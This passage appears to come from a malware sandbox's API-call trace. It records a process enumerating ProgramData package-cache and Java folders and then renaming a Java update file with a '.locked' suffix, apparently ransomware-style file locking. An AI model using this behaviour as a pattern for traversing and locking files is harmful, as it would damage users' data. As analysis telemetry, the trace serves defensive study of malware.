Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2903980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2903980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.513] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf2903980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2903980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.515] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf2903980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2903980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.516] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf2903980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2903980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.524] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf2903980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2903980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.526] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf2929ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2929ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.527] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf2929ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2929ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.532] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf2929ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2929ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.534] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf2929ae0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2929ae0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.535] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.538] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.540] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.541] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.544] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.546] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.547] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.551] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf294fc40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf294fc40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.553] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2975da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2975da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.555] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2975da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2975da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.558] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2975da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2975da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.559] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2975da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2975da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.561] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2975da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2975da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.565] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf2975da0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf2975da0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.568] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf299bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf299bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.571] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf299bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf299bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.572] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf299bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf299bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.575] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf299bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf299bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.577] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf299bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf299bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.579] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf299bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf299bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.582] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf29c2060, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29c2060, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.585] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xf29c2060, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29c2060, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.588] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf29c2060, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29c2060, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.591] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf29c2060, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29c2060, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.593] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf29c2060, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29c2060, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.594] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf29c2060, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29c2060, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.598] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf29e81c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29e81c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0133.601] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Start Menu\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0xffffffff [0133.602] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Sun\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf29e81c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29e81c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0133.604] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf29e81c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29e81c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0133.605] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf29e81c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xf29e81c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0133.607] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.locked" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml.locked"), dwFlags=0x2) 